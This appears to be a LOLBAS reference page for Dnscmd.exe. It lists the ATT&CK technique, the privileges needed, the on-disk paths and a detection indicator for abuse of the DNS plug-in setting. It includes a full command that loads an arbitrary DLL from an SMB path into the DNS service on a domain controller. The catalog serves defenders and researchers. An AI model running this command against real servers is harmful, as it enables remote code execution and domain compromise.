LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Dnscmd.exe

View source

A command-line interface for managing DNS servers

Execute
01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Execute1

EXAMPLE 01T1543.003

Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.

COMMAND
dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll}
USE CASE
Remotely inject dll to dns server
PRIVILEGES
DNS admin
OPERATING SYSTEM
Windows server
Execute · DLLExecute · Remote
02 / ON DISK

Known paths

C:\Windows\System32\Dnscmd.exe
C:\Windows\SysWOW64\Dnscmd.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    Dnscmd.exe loading dll from UNC/arbitrary path

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Shay Ber
Dimitrios Slamaris@dim0x69
Nikhil SamratAshok@nikhil_mitt